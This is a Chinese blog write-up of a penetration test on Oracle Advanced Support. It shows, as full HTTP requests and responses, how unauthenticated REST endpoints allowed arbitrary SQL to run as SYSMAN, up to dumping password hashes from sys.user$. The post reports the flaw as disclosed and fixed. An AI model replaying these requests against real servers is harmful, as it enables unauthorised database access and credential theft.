Oracle Advanced Support系统SQL注入漏洞挖掘经验分享

简介:

Oracle Advanced Support系统SQL注入漏洞挖掘经验分享

Oracle Advanced Support系统SQL注入漏洞分析

一年多前我在客户的一个外部环境中执行渗透测试,任何外部环境渗透测试的重要步骤之一就是挖掘出可访问的WEB服务。nmap和EveWitness的结合会令这步骤变得更快,因为我们可以进行端口扫描 并且把这些结果以屏幕截图的形式导入到 EyeWitness中。当梳理完 EyeWitness提供的屏幕截图页面后,我发现了一个Oracle 高级支持服务。

Oracle Advanced Support系统SQL注入漏洞分析

虽然我之前从没听过Oracle Advanced Support,但是当我很快的google完之后,我了解到它似乎是一个允许oracle的技术支持在外部登入,并且在oracle系统环境下进行任何技术支持需要的操作的服务。有了这个信息之后, 我们可以将现有的web应用测试与它结合起来。

我们可以对这个应用开始进行一些简单的侦查,包括:

  • 寻找已经被爆出的漏洞
  • 用burp爬取应用
  • 枚举常见的路径
  • 查看可获取的页面的源码

幸运的是,我在主页的源码中发现了 一个包含资产目录清单的链接。

对于像这样一个未知的应用,目录列表是很有用的,它给我们了一些希望去发现一些很有趣 但不应该被访问到的东西 。果不其然的在搜寻每个目录之后,我偶然发现了以下的javascript文件:

让它变得更适合阅读一些

http://p5.qhimg.com/t01ee9ebd48adeef189.png

在Web渗透测试中,其中一个我喜欢的并且常常忽视的事情是查找应用中的javascript文件, 并且看看他们是否支持任何POST 或者是GET请求。

我们已经发现了一个叫做sql-service.js的javascript文件,这让我立刻在脑海中提高起警觉来。这个文件包含4个匿名函数其中三个t.getJSON方法的GET请求和一个t.post方法的POST请求。这些函数包含如下一些变量:


 
 
  1. getSqlData 
  2. createNamedSql 
  3. getNamedSqlList 
  4. getSqlNameList 

在这篇文章的剩余部分,我将提及匿名函数中的变量。

每个函数的根节点都位于/rest/data路径下。

接下来是将他们拆分之后的请求:


 
 
  1. GET /rest/data/sql 
  2. POST /rest/data/sql 
  3. GET /rest/data/sql_list 
  4. GET /rest/data/sql_name_list 

有了这些之后,开始拿出我最喜欢的代理工具:burp,看看会发生什么!

直捣黄龙

我首先尝试的是来自于getSqlData函数路径是/rest/data/sql的GET请求。我们也通过观察javascript发现这个请求需要附加一个参数,让我们在结尾加上”test”.


 
 
  1. HTTP Request: 
  2. GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0  
  3. HTTP Response: 
  4. HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found. 

当我们把”test”加到请求url的末尾,服务器返回了404。同时服务器也返回了这样一个信息:Named SQL not found。如果我们尝试”test”之外的其他字符串,得到了同样的返回信息。我们把这个请求发到Burp 的 intruder模块,打算试图过一个目录列表字典来枚举潜在的参数名,看看是否能得到除了404之外的返回。但是有一个更简单的方法来找到合适的参数名。如果我们再次查看javascript,你会发现函数的名称给我们一些有价值的信息。我们在以下函数中发现了两个GET请求:getNamedSqlList 和 getSqlNameList.。我们刚才的请求返回的错误信息是 Named SQL not found error。让我们尝试针对getNamedSqlList函数的GET请求。


 
 
  1. HTTP Request: 
  2. GET /rest/data/sql_list HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Connection: close 
  14. Content-Length: 243633 
  15. [{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM&nbsp;&nbsp; MIG_RPT_TABLE_TRANSFER_METHOD WHERE&nbsp; scenario_id = :scenario_id AND&nbsp; package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nfrom&nbsp; MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND&nbsp;&nbsp; engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nFROM&nbsp;&nbsp; MIG_RPT_DATA_COMPRESSION_PCT\nWHERE&nbsp; scenario_id = :scenario_id\nAND&nbsp;&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND engagement_id = 
  16. … 

这的确给了我们不少的信息,让我们仔细分析一下,我们获得了一组json对象,看一下数组中的第一个对象:


 
 
  1. {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]} 

我们发现了以下的属性:name, sql, dataSourceJNDI, privileges, and paramList,其中 sql属性是我最感兴趣的因为它包含了具有字符串值的SQL语句。我们把name的值放进先前尝试的GET请求中。


 
 
  1. HTTP Request: 
  2. GET /rest/data/sql/sample HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 400 Bad Request  
  12. Content-Type: application/json 
  13. Content-Length: 44 
  14. Connection: close 
  15. Bad Request.Param value not defined for time 

Hey!我们得到一些返回!但是我们少了一个参数,让我们加进来。


 
 
  1. HTTP Request: 
  2. GET /rest/data/sql/sample?time=1 HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Content-Length: 2 
  14. Connection: close 

虽然没有从服务器获得任何返回,但是也没有返回任何错误!难道是例子中的SQL语句被执行了,只是没有回显?我们可以继续尝试其他的从先前请求中获得的names,但是我们看一下原始的javascript。我们发现有一个叫做createNamedSQL的函数,它是一个POST的请求。我们知道来至于getNamedSqlList 的请求的返回值包含了sql语句的值。也许是这个post请求会允许我们在服务器上 执行sql查询。我们试一下!

SQL Execution

这就是createNamedSQL中在包体里面包含一个空json对象的POST请求:


 
 
  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json 
  9. Content-Length: 0 
  10. {} 
  11. HTTP Response: 
  12. HTTP/1.1 500 Internal Server Error 
  13. Content-Type: text/html 
  14. Content-Length: 71 
  15. Connection: close 
  16. A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q] 

我们得到一个关于SQL_NAME列的错误,当我们在包体中包含空的json对象时这不是很意外。现在我们在包体里加入一个随机的属性名和数值。


 
 
  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept-Encoding: gzip, deflate, sdch 
  6. Accept-Language: en-US,en;q=0.8 
  7. Content-Length: 16 
  8. Content-Type: application/json;charset=UTF-8 
  9. {"test":1} 
  10. HTTP Response: 
  11. HTTP/1.1 400 Bad Request  
  12. Content-Type: text/plain 
  13. Content-Length: 365 
  14. Connection: close 
  15. Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])  
  16. &nbsp;at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"]) 

再一次不意外的获得了一个关于未知“test”字段的bad request,但是如果你注意的话,这个错误的信息给我们返回了一些有用的属性。感谢 Oracle先生的服务!这些属性也同样出现了从getNamedSqlList发出请求获得的返回中。我使用getNamedSqlList请求的返回中其中的一个值赋给dataSourceJNDI属性。


 
 
  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept-Encoding: gzip, deflate, sdch 
  6. Accept-Language: en-US,en;q=0.8 
  7. Content-Length: 101 
  8. Content-Type: application/json;charset=UTF-8 
  9.     "name": "test", 
  10.     "sql":"select @@version", 
  11.     "dataSourceJNDI":"jdbc/portal" 

这看起来是一个很好的测试请求,我们来见证一下 他是否有效。


 
 
  1. HTTP Response: 
  2. HTTP/1.1 500 Internal Server Error  
  3. Content-Type: text/plain 
  4. Content-Length: 200 
  5. Connection: close 
  6. A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI] 

我们仍然从服务器获得了一个错误返回,但是只返回了content-type。SQL语句可能已经被创建了。通过把名称字段设为“test”, 让我们尝试第一个具有参数的GET请求。


 
 
  1. HTTP Request: 
  2. GET /rest/data/sql/test HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Content-Length: 24 
  14. Connection: close 
  15. [{"@@version":"5.5.37"}] 

看这里!我们获得了一些SQL执行。

看一下“我们”是谁。


 
 
  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: */* 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Length: 101 
  9. Content-Type: application/json;charset=UTF-8 
  10.     "name": "test2", 
  11.     "sql":"SELECT USER from dual;", 
  12.     "dataSourceJNDI":"jdbc/portal" 
  13. HTTP Request: 
  14. GET /rest/data/sql/test2 HTTP/1.1 
  15. Host: host 
  16. Connection: close 
  17. Accept: application/json;charset=UTF-8 
  18. Accept-Encoding: gzip, deflate, sdch 
  19. Accept-Language: en-US,en;q=0.8 
  20. Content-Type: application/json;charset=UTF-8 
  21. Content-Length: 0 
  22. HTTP Response: 
  23. HTTP/1.1 200 OK  
  24. Content-Type: application/json; charset=UTF-8 
  25. Content-Length: 19 
  26. Connection: close 
  27. [{"USER":"SYSMAN"}] 

看起来我们是SYSMAN 用户。通过这个oracal 文档(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm) 知道,我们就是administrator.

试一下 我们能否抓取出用户的哈希.


 
 
  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: */* 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Length: 120 
  9. Content-Type: application/json;charset=UTF-8 
  10.     "name": "test3", 
  11.     "sql":"SELECT name, password FROM sys.user$", 
  12.     "dataSourceJNDI":"jdbc/portal" 
  13. HTTP Request: 
  14. GET /rest/data/sql/test3 HTTP/1.1 
  15. Host: host 
  16. Connection: close 
  17. Accept: application/json;charset=UTF-8 
  18. Accept-Encoding: gzip, deflate, sdch 
  19. Accept-Language: en-US,en;q=0.8 
  20. Content-Type: application/json;charset=UTF-8 
  21. Content-Length: 0 
  22. HTTP Response: 
  23. HTTP/1.1 200 OK  
  24. Content-Type: application/json; charset=UTF-8 
  25. Content-Length: 5357 
  26. Connection: close 
  27. [{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null} 
  28. … 

我们可以获得数据库中的用户密码的哈希值。我编辑和删除了主要的部分。知道了我们是一个具有administrator权限的用户,当然后续我们还可以做很多事情。然而,针对此博客的目的,我停止下来了。

结论

关于这个匿名sql执行我联系了oracle,他们很快的回复并且修复了这个问题。对我而言真正的问题是为什么web服务压根儿就允许sql语句被执行呢?

这个博客最大的收获是一定要看应用中的javascript文件。在多个web应用和外网的渗透测试中,我已经发现了隐藏在javascript文件中sql 注入,命令执行,和 xml实体注入攻击。

作为针对熟练渗透测试者的练习任务,看完这篇博客并且统计多少个你能确定的漏洞。提示:超过三处。


本文作者:Carpediem

来源:51CTO

相关文章
|
2月前
|
SQL 存储 测试技术
SQL在构建系统中的应用:关键步骤与技巧
在构建基于数据库的应用系统时,SQL(Structured Query Language)作为与数据库交互的核心语言,扮演着至关重要的角色
|
2月前
|
SQL 监控 Oracle
Oracle SQL性能优化全面指南
在数据库管理领域,Oracle SQL性能优化是确保数据库高效运行和数据查询速度的关键
|
2月前
|
SQL 存储 数据库
SQL在构建系统中的应用:关键要素与编写技巧
在构建基于数据库的系统时,SQL(Structured Query Language)扮演着至关重要的角色
|
2月前
|
SQL 存储 Oracle
Oracle数据库SQL语句详解与应用指南
在数字化时代,数据库已成为各类企业和组织不可或缺的核心组件。Oracle数据库作为业界领先的数据库管理系统之一,广泛应用于各种业务场景。掌握Oracle数据库的SQL语句是数据库管理员、开发人员及运维人员的基本技能。本文将详细介绍Oracle数据库SQL语句的基本概念、语法、应用及最佳实践。一、Or
67 3
|
2月前
|
SQL Oracle 关系型数据库
Oracle SQL:了解执行计划和性能调优
Oracle SQL:了解执行计划和性能调优
63 1
|
3月前
|
SQL 存储 UED
系统里这个同时查冷热表的sql,动动手指,从8s降到3s
系统将交易数据按交易时间分为热表(最近3个月)和冷表(3个月前)。为保证用户体验,当企业门户端查询跨越冷热表时,尤其针对大客户,查询性能优化至关重要。以下是程序的SQL查询语句及其优化版本。
35 1
|
2月前
|
SQL 数据库连接 数据库
管理系统中的Visual Studio与SQL集成技巧与方法
在现代软件开发和管理系统中,Visual Studio(VS)作为强大的集成开发环境(IDE),与SQL数据库的紧密集成是构建高效、可靠应用程序的关键
|
2月前
|
SQL 监控 数据库
管理系统VS SQL:高效集成的关键技巧与方法
在现代企业信息化建设中,管理系统(如ERP、CRM等)与SQL数据库之间的紧密集成是确保数据流动顺畅、业务逻辑高效执行的关键
|
4月前
|
前端开发 Java JSON
Struts 2携手AngularJS与React:探索企业级后端与现代前端框架的完美融合之道
【8月更文挑战第31天】随着Web应用复杂性的提升,前端技术日新月异。AngularJS和React作为主流前端框架,凭借强大的数据绑定和组件化能力,显著提升了开发动态及交互式Web应用的效率。同时,Struts 2 以其出色的性能和丰富的功能,成为众多Java开发者构建企业级应用的首选后端框架。本文探讨了如何将 Struts 2 与 AngularJS 和 React 整合,以充分发挥前后端各自优势,构建更强大、灵活的 Web 应用。
61 0
|
2月前
|
存储 Oracle 关系型数据库
Oracle数据库的应用场景有哪些?
【10月更文挑战第15天】Oracle数据库的应用场景有哪些?
182 64

推荐镜像

更多